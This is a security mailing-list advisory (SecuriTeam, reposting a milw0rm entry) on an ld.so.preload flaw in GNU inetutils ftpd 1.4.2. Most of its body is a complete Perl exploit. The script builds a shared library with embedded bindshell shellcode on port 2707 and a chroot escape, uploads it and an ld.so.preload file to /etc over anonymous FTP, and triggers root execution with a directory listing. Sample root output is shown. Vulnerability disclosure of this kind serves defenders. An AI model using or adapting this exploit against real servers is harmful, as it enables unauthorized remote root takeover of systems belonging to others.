The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
GNU inetutils FTP server ld.so.preload Vulnerability (Exploit)
------------------------------------------------------------------------
SUMMARY
A vulnerability in GNU inetutils' FTP server allows attackers that can
access a chroot environment as well as being able to write into the /etc
directory of this chroot directory to gain root privileges.
DETAILS
Vulnerable Systems:
* GNU inetutils version 1.4.2
Exploit:
# FTP server (GNU inetutils 1.4.2) Remote Root Exploit
# This program remotely exploits the most recent
# versions of GNU inetutils ftpd on linux systems.
#
# Requirements:
# 1. There MUST be a chroot'ed environment for the logged in user
# 2. Directory etc must be writeable by the logged in user (duh!)
#
# The exploit works as follows:
# 1. Create a shared library including a bindshell
# 2. Create a ld.so.preload file referencing the previously created shared
library
# 3. Connect to the remote ftp server and log in using the ftp account
# 4. Upload the shared library and ld.so.preload into /etc
# 5. Run /bin/ls
#
# Result:
# uname -a;id;
# Linux XXXXX 2.6.11.9-vs2.0-rc1-node #1 SMP Fri May 13 11:52:23 CEST 2005
i686 GNU/Linux
# uid=0(root) gid=0(root) egid=70(ftp) groups=70(ftp)
#
# wu-ftpd has a setuid(ftp) before the execv to
# /bin/ls so there is no way escaping the chroot issued before.
#
# signed,
# kingcope Dec/2006
##############################################################################################
use Net::FTP;
open FILE, ">program.c";
print FILE <<EOF;
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#define L_PORT "\\x0a\\x93" /* Port 2707 */
char ficken[] =
"\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x99\\x52\\x53\\x6a\\x02\\x89"
"\\xe1\\xcd\\x80\\x52\\x43\\x68\\xff\\x02"L_PORT"\\x89\\xe1"
"\\x6a\\x10\\x51\\x50\\x89\\xe1\\x89\\xc6\\xb0\\x66\\xcd\\x80"
"\\x43\\x43\\xb0\\x66\\xcd\\x80\\x52\\x56\\x89\\xe1\\x43\\xb0"
"\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x3f\\x49\\xcd\\x80"
"\\x41\\xe2\\xf8\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f"
"\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80";
void _init()
{
char *sh[2]={"/bin/sh",NULL};
int gg=0xed;
FILE *f;
setreuid(0,0);
setuid(0);
remove("/etc/ld.so.preload");
chdir("/");
chroot("etc");
while(gg!=0) {
chdir("..");gg--;
}
chroot("..");
void (*fc)();
(long) fc = &ficken;
fc();
}
EOF
close FILE;
open FILE,">ld.so.preload";
print FILE "/etc/libno_ex.so.1.0";
close FILE;
system("gcc -o program.o -c program.c -fPIC;gcc -shared
-Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles");
$ftp = Net::FTP->new($ARGV[0], Debug => 1) or die "Cannot connect to
some.host.name: $@";
$ftp->login("ftp","ftp@") or die "Cannot login ", $ftp->message;
$ftp->binary;
$ftp->put("libno_ex.so.1.0", "/etc/libno_ex.so.1.0");
$ftp->put("ld.so.preload", "/etc/ld.so.preload");
print "\n\nNOTE: Running LS command, check the bindshell on port
2707.\n\n";
$ftp->dir();
$ftp->quit();
# milw0rm.com [2006-12-15]
ADDITIONAL INFORMATION
The information has been provided by kingcope.
The original article can be found at:
<http://www.milw0rm.com/exploits/2936>
http://www.milw0rm.com/exploits/2936
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
